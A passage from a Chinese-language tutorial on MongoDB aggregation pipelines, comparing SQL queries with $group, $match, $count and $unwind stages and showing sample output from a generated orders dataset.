     },
  ],
  total: Decimal128("407") 
}

先来一些操作案例

1
2
3
4
sql复制代码select sum(total) from orders

db.orders.aggregate({$group:{_id:null,total:{$sum:"$total"}}})
结果：{ _id: null, 'total': Decimal128("44019609") }
1
2
3
4
sql复制代码select count(1) from orders

db.orders.aggregate({$group:{_id:null,total:{$sum:1}}})
结果：{ _id: null, total: 100000 }
1
2
3
4
5
6
7
8
9
sql复制代码select count(1) from orders group by status

db.orders.aggregate({$group:{_id:"$status",total:{$sum:1}}})
结果：
{ _id: 'created', total: 20087 }
{ _id: 'shipping', total: 20017 }
{ _id: 'cancelled', total: 19978 }
{ _id: 'completed', total: 20015 }
{ _id: 'fulfilled', total: 19903 }
1
2
3
4
5
6
7
8
9
10
sql复制代码select count(1) from orders group by status having count(1) > 20000

db.orders.aggregate([
    {$group:{_id:{status:'$status'},total:{$sum:1}}},
    {$match:{total:{$gte:20000}}}
 ])
结果：
{ _id: { status: 'created' }, total: 20087 }
{ _id: { status: 'shipping' }, total: 20017 }
{ _id: { status: 'completed' }, total: 20015 }
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
sql复制代码select count(1) total
from orders 
group by status,year(orderDate),month(orderDate)
order by year(orderDate),month(orderDate)

db.orders.aggregate([
  {
    $group:{
      _id:{
         status:'$status',
         orderDate:{
           year:{$year:"$orderDate"},
           month:{$month:"$orderDate"}
         }
       },
       total:{$sum:1}
     }
  },{
    $sort:{"_id.orderDate.year":1,"_id.orderDate.month":1}
  }
])
结果：
{ _id: { status: 'cancelled', orderDate: { year: 2019, month: 1 } }, total: 2066 }
{ _id: { status: 'shipping', orderDate: { year: 2019, month: 1 } }, total: 2058 }
{ _id: { status: 'completed', orderDate: { year: 2019, month: 1 } }, total: 2068 }
{ _id: { status: 'created', orderDate: { year: 2019, month: 1 } }, total: 2047 }
{ _id: { status: 'fulfilled', orderDate: { year: 2019, month: 1 } }, total: 2076 }
{ _id: { status: 'cancelled', orderDate: { year: 2019, month: 2 } }, total: 1816 }
{ _id: { status: 'created', orderDate: { year: 2019, month: 2 } }, total: 1817 }
{ _id: { status: 'shipping', orderDate: { year: 2019, month: 2 } }, total: 1844 }
{ _id: { status: 'completed', orderDate: { year: 2019, month: 2 } }, total: 1813 }
{ _id: { status: 'fulfilled', orderDate: { year: 2019, month: 2 } }, total: 1913 }
......
1
2
3
4
5
6
7
8
9
10
11
12
13
14
sql复制代码select *
from(
    select month(orderDate) month,name,status
    from orders
) order
where month = 2

db.orders.aggregate([{$project:{month:{$month:"$orderDate"},name:1,status:1}},{$match:{month:2}}]) 
结果：
{ _id: ObjectId("5dbe7a542411dc9de6429190"),name: 'Kris Hansen',status: 'cancelled',month: 2 }
{ _id: ObjectId("5dbe7a542411dc9de6429191"),name: 'Constantin Wuckert',status: 'completed',month: 2 }
{ _id: ObjectId("5dbe7a545368f69de2b4d375"),name: 'Reed Jerde',status: 'fulfilled',month: 2 }
{ _id: ObjectId("5dbe7a54cd023b9de4efc1d2"),name: 'Lyric Hodkiewicz',status: 'cancelled',month: 2 }
.....
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
sql复制代码select count(*) from orders where month(orderDate) >= 3 group by month(orderDate)

db.orders.aggregate([
    {$match:{$expr:{$gte:[{$month:"$orderDate"},3]}}},
    {$group:{_id:{month:{$month:"$orderDate"}},count:{$sum:1}}}
 ]);
#结果
{ _id: { month: 6 }, count: 9915 }
{ _id: { month: 4 }, count: 10083 }
{ _id: { month: 10 }, count: 9928 }
{ _id: { month: 5 }, count: 10142 }
{ _id: { month: 8 }, count: 10194 }
{ _id: { month: 9 }, count: 9779 }
{ _id: { month: 7 }, count: 10240 }
{ _id: { month: 3 }, count: 10201 }

MongoDB聚合(Aggregate)

MongoDB 中聚合(aggregate)主要用于处理数据(诸如统计平均值，求和等)，并返回计算后的数据结果

一个aggregate由多个阶段(Stage)组成。上一阶段产生的结果会作为下一阶段的输入，所以也会被形象的称为流水线(Pipeline)。

表达式：处理输入文档并输出。表达式是无状态的，只能用于计算当前聚合管道的文档，不能处理其它的文档。

这里我们介绍一下聚合框架中常用的几个操作：

  • $project：修改输入文档的结构。可以用来重命名、增加或删除域，也可以用于创建计算结果以及嵌套文档。
  • $match：用于过滤数据，只输出符合条件的文档。$match使用MongoDB的标准查询操作。
  • $limit：用来限制MongoDB聚合管道返回的文档数。
  • $skip：在聚合管道中跳过指定数量的文档，并返回余下的文档。
  • $unwind：将文档中的某一个数组类型字段拆分成多条，每条包含数组中的一个值。
  • $group：将集合中的文档分组，可用于统计结果。
  • $sort：将输入文档排序后输出。
  • $geoNear：输出接近某一地理位置的有序文档。

下面是一个aggregate的基本处理流程

image-20211121220504864

  • db.collection.aggregate() 可以用多个构件创建一个管道，对于一连串的文档进行处理。这些构件包括：筛选操作的match、映射操作的project、分组操作的group、排序操作的sort、限制操作的limit、和跳过操作的skip。
  • db.collection.aggregate()使用了MongoDB内置的原生操作，聚合效率非常高,支持类似于SQL Group By操作的功能。
  • 每个阶段管道限制为100MB的内存。如果一个节点管道超过这个极限,MongoDB将产生一个错误。为了能够在处理大型数据集,可以设置allowDiskUse为true来在聚合管道节点把数据写入临时文件。这样就可以解决100MB的内存的限制。
  • db.collection.aggregate()可以作用在分片集合，但结果不能输在分片集合，MapReduce可以 作用在分片集合，结果也可以输在分片集合。
  • db.collection.aggregate()方法可以返回一个指针（cursor），数据放在内存中，直接操作。跟Mongo shell 一样指针操作。
  • db.collection.aggregate()输出的结果只能保存在一个文档中，BSON Document大小限制为16M。可以通过返回指针解决，版本2.6中后面：db.collect.aggregate()方法返回一个指针，可以返回任何结果集的大小。

$count

返回文档统计数

先看一些非聚合操作中的count使用方法

1
2
3
4
5
6
sql复制代码#对应查询出来的是orders这个集合中的所有数据总和
db.orders.count();
#结果:{"result": 100000}
#对应查出来自Malaysia这个国家的订单总和
db.orders.find({country:"Malaysia"}).count()
#结果:{"result": 392}

使用聚合操作中$count来汇总行数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
sql复制代码#使用聚合查出来自Malaysia这个国家的订单总和,并且返回给counts字段
db.orders.aggregate([
    {$match:{country:"Malaysia"}},
    {$count:"counts"}
])
#结果:{"counts": 392}
#下面是两种不同的写法只是在 $match的时候有所区别(可以先体验以下)
db.orders.aggregate([
    {$match:{country:{$eq:"Malaysia"}}},
    {$count:"counts"}
])
db.orders.aggregate([
    {$match:{$expr:{$eq:["$country","Malaysia"]}}},
    {$count:"counts"}
])
#结果:{"counts": 392}

除此以外可以灵活使用group+$sum来实现$count

1
2
3
4
5
6
7
8
9
sql复制代码#对应查询出来的是orders这个集合中的所有数据总和,并且返回给counts字段
db.orders.aggregate({$group:{_id:null,counts:{$sum:1}}})
#结果:{"_id": null,"counts": 100000}
#使用聚合查出来自Malaysia这个国家的订单总和,并且返回给counts字段
db.orders.aggregate([
    {$match:{country:{$eq:"Malaysia"}}},
    {$group:{_id:null,counts:{$sum:1}}}
])
#结果:{"_id": null,"counts": 392}

$group

按照指定表达式对文档进行分组

$group使用的基本语法:

1
json复制代码{ $group: { _id: <expression>, <field1>: { <accumulator1> : <expression1> }, ... } }
  1. _id+表达式用来做分组条件，也就是_id后面的内容与sql中group by后面的表达式的用途相同
  2. _id后面的 字段+accumulator操作符与sql中做完group by后在select后面的的聚合函数用途相同，例如:sum()、avg()、max()、min()

例如：

1
2
3
4
5
6
7
8
9
10
11
12
sql复制代码db.orders.aggregate({$group:{_id:"$country",total:{$sum:"$total"}}})
#结果
{ _id: 'Guam', total: Decimal128("182335") }
{ _id: 'El Salvador', total: Decimal128("159475") }
{ _id: 'Saint Martin', total: Decimal128("163267") }
{ _id: 'Botswana', total: Decimal128("189330") }
{ _id: 'San Marino', total: Decimal128("174200") }
{ _id: 'Czech Republic', total: Decimal128("178602") }
{ _id: 'Estonia', total: Decimal128("172816") }
.......
#上面的mql相当于sql中的
select sum(total) from orders group by country

$group阶段的内存限制为100M。默认情况下，如果stage超过此限制，$group将产生错误。但是，要允许处理大型数据集，请将allowDiskUse选项设置为true以启用$group操作以写入临时文件。

名称 描述 类比sql
$avg 计算均值 avg
$first 返回每组第一个文档，如果有排序，按照排序，如果没有按照默认的存储的顺序的第一个文档。 limit 0,1
$last 返回每组最后一个文档，如果有排序，按照排序，如果没有按照默认的存储的顺序的最后个文档。 -
$max 根据分组，获取集合中所有文档对应值得最大值。 max
$min 根据分组，获取集合中所有文档对应值得最小值。 min
$push 将指定的表达式的值添加到一个数组中。 -
$addToSet 将表达式的值添加到一个集合中（无重复值，无序）。 -
$sum 计算总和 sum
$stdDevPop 返回输入值的总体标准偏差（population standard deviation） -
$stdDevSamp 返回输入值的样本标准偏差（the sample standard deviation） -

下面我们按照以上文档依次用一下每一个表达式

  1. $avg计算平均值
1
2
3
4
5
6
7
8
9
10
11
12
13
json复制代码--计算每个国家的每个订单的平均消费
db.orders.aggregate({$group:{
        _id:"$country",
        avgMoney:{$avg:"$total"}
    }})
--结果    
{ _id: 'Saudi Arabia',avgMoney: Decimal128("433.4898419864559819413092550790068") }
{ _id: 'New Caledonia',avgMoney: Decimal128("441.9833729216152019002375296912114") }
{ _id: 'Congo',avgMoney: Decimal128("451.8834951456310679611650485436893") }
{ _id: 'Turkey',avgMoney: Decimal128("425.7422434367541766109785202863962") }
{ _id: 'Cuba',avgMoney: Decimal128("437.2074074074074074074074074074074") }
{ _id: 'Uruguay',avgMoney: Decimal128("434.1564792176039119804400977995110") }
......
  1. $first返回第一个文档
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
json复制代码--根据国家分组，每组第一笔订单的订单商品列表
db.orders.aggregate({$group:{
    _id:"$country",
    firstOrderLines:{$first:"$orderLines"}
}})
--结果
{ _id: 'Malta',firstOrderLines: [ 
  { product: 'Sleek Frozen Table',sku: '368',qty: 30,price: Decimal128("24.00"),cost:Decimal128("19.44") },
  { product: 'Intelligent Metal',sku: '179',qty: 62,price: Decimal128("91.00"),cost: Decimal128("90.09") },
  { product: 'Intelligent Granite',sku: '9',qty: 31,price: Decimal128("68.00"),cost: Decimal128("61.88") },
  { product: 'Licensed Cotton',sku: '6846',qty: 9,price: Decimal128("16.00"),cost: Decimal128("15.68") } 
] }
{ _id: 'Papua New Guinea',firstOrderLines: [ 
  { product: 'Fantastic Wooden',sku: '4333',qty: 32,price: Decimal128("58.00"),cost: Decimal128("57.42") }
  ...
] }
......

--根据国家分组，每组第一笔订单的订单商品列表里面的第一条商品信息
db.orders.aggregate({$group:{
    _id:"$country",
    firstOrder:{$first:{$first:"$orderLines"}}
}})
---结果
{ _id: 'Malta',firstOrder:  
 { product: 'Sleek Frozen Table',sku: '368',qty: 30,price: Decimal128("24.00"),cost:Decimal128("19.44") }
}
{ _id: 'Papua New Guinea',firstOrder:
  { product: 'Fantastic Wooden',sku: '4333',qty: 32,price: Decimal128("58.00"),cost: Decimal128("57.42") }
}
......
  1. $last返回最后一个文档
1
2
3
4
5
6
7
8
9
json复制代码--根据每个国家分组，每笔最后一个订单的orderDate
db.orders.aggregate([{$group:{
    _id:"$country",
    lastOrderDate:{$last:"$orderDate"}
}}])
--结果
{ _id: 'Micronesia', lastOrderDate: 2019-01-15T07:23:18.002Z }
{ _id: 'Malaysia', lastOrderDate: 2019-05-15T20:16:56.644Z }
{ _id: 'San Marino', lastOrderDate: 2019-09-29T06:10:07.292Z }
  1. $max和$min：最大值和最小值
1
2
3
4
5
6
7
8
9
10
11
json复制代码--根据年月分组，查出每组第一笔订单时间和最后一组订单时间
db.orders.aggregate({$group:{
    _id:{year:{$year:"$orderDate"},month:{$month:"$orderDate"}},
    maxDate:{$max:"$orderDate"},
    minDate:{$min:"$orderDate"}
}})
--结果
{ _id: { year: 2019, month: 1 }, maxDate: 2019-01-31T23:53:57.308Z, minDate: 2019-01-01T00:03:59.661Z }
{ _id: { year: 2019, month: 4 }, maxDate: 2019-04-30T23:57:03.352Z, minDate: 2019-04-01T00:02:12.224Z }
{ _id: { year: 2019, month: 3 }, maxDate: 2019-03-31T23:55:10.312Z, minDate: 2019-03-01T00:13:53.761Z }
{ _id: { year: 2019, month: 7 }, maxDate: 2019-07-31T23:55:51.718Z, minDate: 2019-07-01T00:00:07.540Z }
  1. $push将指定值添加到一个数组当中可以push到一个已经存在的数组当中，如果不存在会创建这样一个数组
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
json复制代码--根据城市、年、月分组，将每组的下单时间push到一个新的 orderDates 数组当中
db.orders.aggregate({$group:{
    _id:{city:"$city",year:{$year:"$orderDate"},month:{$month:"$orderDate"}},
    orderDates:{$push:"$orderDate"},
}})
--结果
{ _id: { city: 'Kennedifurt', year: 2019, month: 9 }, orderDates: [ 2019-09-30T10:25:19.763Z ] }
{ _id: { city: 'South Jewelstad', year: 2019, month: 1 }, orderDates: [ 2019-01-06T19:59:03.380Z ] }
{ _id: { city: 'Germanmouth', year: 2019, month: 9 }, orderDates: [ 2019-09-25T07:45:54.260Z ] }
{ _id: { city: 'Fayebury', year: 2019, month: 8 }, orderDates: [ 2019-08-12T11:08:37.815Z ] }
{ _id: { city: 'New Lailaport', year: 2019, month: 1 }, orderDates: [ 2019-01-19T12:28:56.978Z ] }
{ _id: { city: 'Port Bennyside', year: 2019, month: 2 }, orderDates: [ 2019-02-25T01:18:21.657Z ] }
{ _id: { city: 'Abernathymouth', year: 2019, month: 6 }, orderDates: 
   [ 2019-06-03T18:03:21.149Z,
     2019-06-13T23:35:32.994Z,
     2019-06-18T11:32:22.229Z ] 
}
  1. $addToSet将指定值添加到一个集合当中集合是无序的并且会去重
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
json复制代码--根据月份分组，将每个月都下单过的国家都添加到 countrySet 中去
db.orders.aggregate({
    $group:{
        _id:{year:{$year:"$orderDate"},month:{$month:"$orderDate"}},
        countrySet:{$addToSet:"$country"}
    }
})
--结果  
{
    "_id": {
      "year": 2019,
      "month": 1
    },
    "countrySet": ["French Guiana", "Germany", "Poland", "Comoros", "Portugal", "Fiji", "France", "Benin", "Greece", "Belarus", "Vietnam", "Ireland", "Vanuatu", "Netherlands Antilles", "Iceland", "Palestinian Territory", "Malawi", "Brazil", "Libyan Arab Jamahiriya", "Kuwait", "Liechtenstein", "Suriname", "Uganda", "New Caledonia", "Bolivia", "Nicaragua", "Burundi", "Uzbekistan", "Jamaica", "South Georgia and the South Sandwich Islands", "Tajikistan", "Mexico", "Singapore", "Sri Lanka", "Antarctica (the territory South of 60 deg S)", "Myanmar", "Tonga", "Slovenia", "Latvia", "Ukraine", "Oman", "Saint Helena", "Bosnia and Herzegovina", "Hungary", "Aruba", "Jordan", "Solomon Islands", "Mozambique", "Svalbard & Jan Mayen Islands", "Taiwan", "Cyprus", "Thailand", "Equatorial Guinea", "Belize", "Niger", "Israel", "Hong Kong", "Senegal", "Costa Rica", "Sierra Leone", "Kiribati", "Lesotho", "Nepal", "Serbia", "Barbados", "Spain", "Czech Republic", "Saint Martin", "Saint Pierre and Miquelon", "Togo", "Somalia", "Northern Mariana Islands", "Maldives", "British Indian Ocean Territory (Chagos Archipelago)", "Montenegro", "Cote d'Ivoire", "United Arab Emirates", "Guernsey", "Bulgaria", "Netherlands", "Greenland", "Niue", "Colombia", "Egypt", "Madagascar", "Brunei Darussalam", "Iraq", "Mauritius", "French Polynesia", "Jersey", "Canada", "Grenada", "Honduras", "New Zealand", "Cocos (Keeling) Islands", "Mayotte", "Virgin Islands, British", "Finland", "Macedonia", "Cook Islands", "Micronesia", "Christmas Island", "Turks and Caicos Islands", "Falkland Islands (Malvinas)", "El Salvador", "Estonia", "Eritrea", "Afghanistan", "San Marino", "Malaysia", "Cambodia", "Anguilla", "Philippines", "Zambia", "Republic of Korea", "Mauritania", "Yemen", "South Africa", "Gambia", "Namibia", "Peru", "Samoa", "Qatar", "Guinea", "Monaco", "Mongolia", "Cayman Islands", "Bouvet Island (Bouvetoya)", "Romania", "Sweden", "Guam", "Guyana", "Japan", "Bangladesh", "Djibouti", "Reunion", "Central African Republic", "Martinique", "Sudan", "Norway", "Guadeloupe", "Malta", "Papua New Guinea", "Macao", "Tunisia", "Iran", "Ghana", "Trinidad and Tobago", "Syrian Arab Republic", "French Southern Territories", "Russian Federation", "Botswana", "Pakistan", "Luxembourg", "Ethiopia", "Austria", "Rwanda", "Holy See (Vatican City State)", "American Samoa", "Tanzania", "Morocco", "Lao People's Democratic Republic", "Faroe Islands", "Bahrain", "China", "Indonesia", "Ecuador", "Tuvalu", "Panama", "Algeria", "Gibraltar", "Nigeria", "Kyrgyz Republic", "Chile", "Cape Verde", "Palau", "Armenia", "Dominican Republic", "Bhutan", "Liberia", "India", "Mali", "Switzerland", "Isle of Man", "Argentina", "Virgin Islands, U.S.", "Swaziland", "Timor-Leste", "Azerbaijan", "Bahamas", "Guatemala", "Saint Lucia", "Sao Tome and Principe", "United States Minor Outlying Islands", "Australia", "Italy", "Paraguay", "Tokelau", "Gabon", "Wallis and Futuna", "Cameroon", "Norfolk Island", "Guinea-Bissau", "Chad", "Zimbabwe", "Nauru", "Pitcairn Islands", "Georgia", "Kenya", "Bermuda", "Kazakhstan", "Democratic People's Republic of Korea", "Puerto Rico", "Croatia", "Antigua and Barbuda", "Seychelles", "Marshall Islands", "Burkina Faso", "Denmark", "United Kingdom", "Dominica", "Albania", "Angola", "Slovakia (Slovak Republic)", "Western Sahara", "Belgium", "Saudi Arabia", "Turkey", "Congo", "Cuba", "Uruguay", "Montserrat", "United States of America", "Lebanon", "Saint Vincent and the Grenadines", "Saint Kitts and Nevis", "Saint Barthelemy", "Haiti", "Moldova", "Heard Island and McDonald Islands", "Lithuania", "Turkmenistan", "Venezuela", "Andorra"]
  },
  {
    "_id": {
      "year": 2019,
      "month": 9
    },
    "countrySet": ["Germany", "Poland", "French Guiana", "Fiji", "France", "Comoros", "Portugal", "Benin", "Greece", "Belarus", "Ireland", "Vietnam", "Brazil", "Malawi", "Vanuatu", "Netherlands Antilles", "Palestinian Territory", "Iceland", "Kuwait", "Libyan Arab Jamahiriya", "Liechtenstein", "New Caledonia", "Suriname", "Uganda", "Bolivia", "Uzbekistan", "Burundi", "Nicaragua", "Tajikistan", "Jamaica", "South Georgia and the South Sandwich Islands", "Sri Lanka", "Mexico", "Singapore", "Antarctica (the territory South of 60 deg S)", "Tonga", "Myanmar", "Slovenia", "Latvia", "Oman", "Saint Helena", "Ukraine", "Bosnia and Herzegovina", "Aruba", "Jordan", "Hungary", "Mozambique", "Solomon Islands", "Svalbard & Jan Mayen Islands", "Thailand", "Taiwan", "Cyprus", "Equatorial Guinea", "Belize", "Niger", "Senegal", "Hong Kong", "Israel", "Kiribati", "Costa Rica", "Sierra Leone", "Lesotho", "Saint Martin", "Spain", "Barbados", "Nepal", "Togo", "Maldives", "Czech Republic", "Somalia", "Saint Pierre and Miquelon", "Serbia", "Northern Mariana Islands", "Montenegro", "British Indian Ocean Territory (Chagos Archipelago)", "Cote d'Ivoire", "United Arab Emirates", "Guernsey", "Niue", "Bulgaria", "Netherlands", "Egypt", "Colombia", "Greenland", "Brunei Darussalam", "Madagascar", "Mauritius", "Iraq", "Canada", "French Polynesia", "Jersey", "Grenada", "Cocos (Keeling) Islands", "New Zealand", "Honduras", "Virgin Islands, British", "Mayotte", "Cook Islands", "Finland", "Macedonia", "Micronesia", "Turks and Caicos Islands", "Christmas Island", "Estonia", "Falkland Islands (Malvinas)", "El Salvador", "Eritrea", "Malaysia", "San Marino", "Afghanistan", "Anguilla", "Cambodia", "Zambia", "Republic of Korea", "Mauritania", "Philippines", "South Africa", "Gambia", "Yemen", "Qatar", "Peru", "Namibia", "Guinea", "Samoa", "Cayman Islands", "Monaco", "Mongolia", "Bouvet Island (Bouvetoya)", "Romania", "Sweden", "Guam", "Guyana", "Djibouti", "Japan", "Bangladesh", "Reunion", "Central African Republic", "Sudan", "Norway", "Martinique", "Guadeloupe", "Papua New Guinea", "Malta", "Tunisia", "Macao", "Iran", "Ghana", "Syrian Arab Republic", "Trinidad and Tobago", "French Southern Territories", "Botswana", "Luxembourg", "Russian Federation", "Pakistan", "Ethiopia", "Holy See (Vatican City State)", "Panama", "Austria", "Rwanda", "American Samoa", "Faroe Islands", "Tanzania", "Morocco", "Lao People's Democratic Republic", "Ecuador", "China", "Indonesia", "Bahrain", "Algeria", "Tuvalu", "Gibraltar", "Nigeria", "Kyrgyz Republic", "Chile", "Palau", "Cape Verde", "Bhutan", "Dominican Republic", "Armenia", "Mali", "Isle of Man", "Liberia", "India", "Switzerland", "Argentina", "Virgin Islands, U.S.", "Timor-Leste", "Swaziland", "Azerbaijan", "United States Minor Outlying Islands", "Saint Lucia", "Bahamas", "Guatemala", "Australia", "Sao Tome and Principe", "Tokelau", "Paraguay", "Italy", "Wallis and Futuna", "Gabon", "Cameroon", "Guinea-Bissau", "Chad", "Norfolk Island", "Zimbabwe", "Nauru", "Georgia", "Kenya", "Pitcairn Islands", "Bermuda", "Kazakhstan", "Democratic People's Republic of Korea", "Croatia", "Puerto Rico", "Antigua and Barbuda", "Seychelles", "Marshall Islands", "Burkina Faso", "Dominica", "Denmark", "Albania", "United Kingdom", "Angola", "Slovakia (Slovak Republic)", "Western Sahara", "Belgium", "Turkey", "Congo", "Saudi Arabia", "Uruguay", "Cuba", "United States of America", "Montserrat", "Lebanon", "Saint Kitts and Nevis", "Saint Vincent and the Grenadines", "Saint Barthelemy", "Haiti", "Moldova", "Lithuania", "Heard Island and McDonald Islands", "Turkmenistan", "Venezuela", "Andorra"]
  }
.......
  1. $sum计算总和
1
2
3
4
5
6
7
8
9
10
11
12
json复制代码--根据月份分组，获取每组的收入总和 sumTotal
db.orders.aggregate({
    $group:{
        _id:{year:{$year:"$orderDate"},month:{$month:"$orderDate"}},
        sumTotal:{$sum:"$total"}
    }
})
--结果
{ _id: { year: 2019, month: 2 }, sumTotal: Decimal128("4072808") }
{ _id: { year: 2019, month: 10 }, sumTotal: Decimal128("4356471") }
{ _id: { year: 2019, month: 5 }, sumTotal: Decimal128("4460433") }
......
  1. $stdDevPop返回输入值的总体标准偏差

image-20211129005142568

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
json复制代码--根据月份分组,计算总体准偏差计算
db.orders.aggregate({
    $group:{
        _id:{year:{$year:"$orderDate"},month:{$month:"$orderDate"}},
        popTotal:{$stdDevPop:"$total"}
    }
})
--结果
{ _id: { year: 2019, month: 2 }, popTotal: 189.3064965965138 }
{ _id: { year: 2019, month: 10 }, popTotal: 187.19676293125292 }
{ _id: { year: 2019, month: 5 }, popTotal: 189.54277980510432 }
{ _id: { year: 2019, month: 8 }, popTotal: 189.52305549485735 }
{ _id: { year: 2019, month: 6 }, popTotal: 189.99641948294692 }
{ _id: { year: 2019, month: 1 }, popTotal: 188.89723701416594 }
{ _id: { year: 2019, month: 4 }, popTotal: 189.33635941008336 }
{ _id: { year: 2019, month: 3 }, popTotal: 190.39465578257668 }
{ _id: { year: 2019, month: 7 }, popTotal: 189.01641050584374 }
{ _id: { year: 2019, month: 9 }, popTotal: 188.10379143822877 }
  1. $stdDevSamp返回输入值的样本标准偏差

image-20211129005507209

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
json复制代码--根据月份分组,计算样本准偏差计算
db.orders.aggregate({
    $group:{
        _id:{year:{$year:"$orderDate"},month:{$month:"$orderDate"}},
        sampTotal:{$stdDevSamp:"$total"}
    }
})
--结果
{ _id: { year: 2019, month: 2 }, sampTotal: 189.31678247750685 }
{ _id: { year: 2019, month: 9 }, sampTotal: 188.1134099175866 }
{ _id: { year: 2019, month: 7 }, sampTotal: 189.02564049879336 }
{ _id: { year: 2019, month: 3 }, sampTotal: 190.40398862519802 }
{ _id: { year: 2019, month: 5 }, sampTotal: 189.55212494401323 }
{ _id: { year: 2019, month: 4 }, sampTotal: 189.34574899869335 }
{ _id: { year: 2019, month: 1 }, sampTotal: 188.90639411415503 }
{ _id: { year: 2019, month: 8 }, sampTotal: 189.53235199281477 }
{ _id: { year: 2019, month: 6 }, sampTotal: 190.00600146946147 }
{ _id: { year: 2019, month: 10 }, sampTotal: 187.20619136123352 }

$match

接受一个指定查询条件的文档。查询语法与读操作查询语法相同。

基本的语法{ $match: { <query> } }

在实际应用中尽可能将$match放在管道的前面位置。这样有两个好处：

  1. 可以快速将不需要的文档过滤掉，以减少管道的工作量
  2. 如果再投射和分组之前执行$match，查询可以使用索引。
1
2
3
4
5
6
7
json复制代码--类似于in查询
db.orders.aggregate({
    $match:{
        country:{$in:["Romania", "Sweden", "Guam", "Guyana"]}
    }
})
--结果：查出这几个国家的订单
1
2
3
4
5
6
7
json复制代码--范围查询
db.orders.aggregate({
    $match:{
        orderDate:{$gte:ISODate("2019-02-01"),$lt:ISODate("2019-02-04")}
    }
})
--结果:查出 2019-02-01 到 2019-02-03这三天的所有订单

$expr使用聚合表达式

1
2
3
4
5
6
7
8
9
10
11
12
13
14
json复制代码--查询3月份以及往后的数据 - 根据月份分组 - sum订单数
db.orders.aggregate([
    {$match:{$expr:{$gte:[{$month:"$orderDate"},3]}}},
    {$group:{_id:{month:{$month:"$orderDate"}},count:{$sum:1}}}
 ]);
--结果
{ _id: { month: 7 }, count: 10240 }
{ _id: { month: 5 }, count: 10142 }
{ _id: { month: 6 }, count: 9915 }
{ _id: { month: 4 }, count: 10083 }
{ _id: { month: 10 }, count: 9928 }
{ _id: { month: 9 }, count: 9779 }
{ _id: { month: 3 }, count: 10201 }
{ _id: { month: 8 }, count: 10194 }

$mod使用取模运算符

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
json复制代码--查询total属性后面是00结尾的订单
db.orders.aggregate([
    {$match:{total:{$mod:[100,0]}}}
 ]);
--结果
{ _id: ObjectId("5dbe7a575368f69de2b4d4db"),
  street: '5929 Elroy Points',
  city: 'Retaberg',
  state: 'Utah',
  country: 'Cote d\'Ivoire',
  zip: '73722-0034',
  phone: '113.509.1520',
  name: 'Sanford Runte',
  userId: 7843,
  orderDate: 2019-02-21T20:26:32.458Z,
  status: 'completed',
  shippingFee: Decimal128("7.00"),
  orderLines: 
   [ { product: 'Fantastic Steel Shoes',
       sku: '1374',
       qty: 82,
       price: Decimal128("15.00"),
       cost: Decimal128("13.35") },
     { product: 'Sleek Frozen Salad',
       sku: '2698',
       qty: 79,
       price: Decimal128("41.00"),
       cost: Decimal128("33.21") },
     { product: 'Intelligent Granite Mouse',
       sku: '17',
       qty: 55,
       price: Decimal128("54.00"),
       cost: Decimal128("50.76") },
     { product: 'Handcrafted Wooden Chicken',
       sku: '2079',
       qty: 4,
       price: Decimal128("17.00"),
       cost: Decimal128("17") } ],
  total: Decimal128("500") }
{ _id: ObjectId("5dbe7a575368f69de2b4d50c"),
  street: '6159 Vandervort Camp',
  city: 'South Bobby',
  state: 'Montana',
  country: 'Guernsey',
  zip: '55141',
  phone: '173.672.8440 x661',
  name: 'Jovan Rice',
  userId: 3526,
  orderDate: 2019-09-14T21:05:45.049Z,
  status: 'shipping',
  shippingFee: Decimal128("9.00"),
  orderLines: 
   [ { product: 'Small Metal Sausages',
       sku: '8130',
       qty: 11,
       price: Decimal128("80.00"),
       cost: Decimal128("67.2") },
     { product: 'Intelligent Rubber Chicken',
       sku: '3775',
       qty: 61,
       price: Decimal128("10.00"),
       cost: Decimal128("8") },
     { product: 'Generic Rubber Table',
       sku: '7102',
       qty: 36,
       price: Decimal128("10.00"),
       cost: Decimal128("8.5") } ],
  total: Decimal128("100") }
......

$regex使用正则表达式匹配

1
2
3
4
5
6
7
json复制代码--以184开头的手机号的订单数量
db.orders.aggregate([
    {$match:{ phone: { $regex: /^184/ }}},
    {$count:"counts"}
 ]);
--结果
{"counts": 55}

$unwind

将数组拆分成单独的文档

格式

1
2
3
4
5
6
7
8
lua复制代码{
  $unwind:
  {
      path: <field path>,
      includeArrayIndex: <string>,  
      preserveNullAndEmptyArrays: <boolean> 
  } 
}

includeArrayIndex：可选,一个新字段的名称用于存放元素的数组索引。该名称不能以$开头。

preserveNullAndEmptyArrays：可选,默认为false，若为true,如果path没有对应的字段或者对应的数组size为0，则$unwind输出文档，默认false不输出。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
json复制代码--筛选一条数据，将数组拆分
db.orders.aggregate([
    {$match:{_id:ObjectId("5dbe7aa650fc769de3e1b551")}},
    {$unwind:"$orderLines"},
 ]);
--结果
{ _id: ObjectId("5dbe7aa650fc769de3e1b551"),
  street: '3340 Marielle Manors',
  city: 'New Maymie',
  state: 'Connecticut',
  country: 'Malawi',
  zip: '22434-3104',
  phone: '184.544.4826 x4858',
  name: 'Annette Langworth',
  userId: 9830,
  orderDate: 2019-01-23T11:56:14.972Z,
  status: 'shipping',
  shippingFee: Decimal128("8.00"),
  orderLines: 
   { product: 'Sleek Granite Gloves',
     sku: '6176',
     qty: 31,
     price: Decimal128("74.00"),
     cost: Decimal128("71.04") },
  total: Decimal128("313") }
{ _id: ObjectId("5dbe7aa650fc769de3e1b551"),
  street: '3340 Marielle Manors',
  city: 'New Maymie',
  state: 'Connecticut',
  country: 'Malawi',
  zip: '22434-3104',
  phone: '184.544.4826 x4858',
  name: 'Annette Langworth',
  userId: 9830,
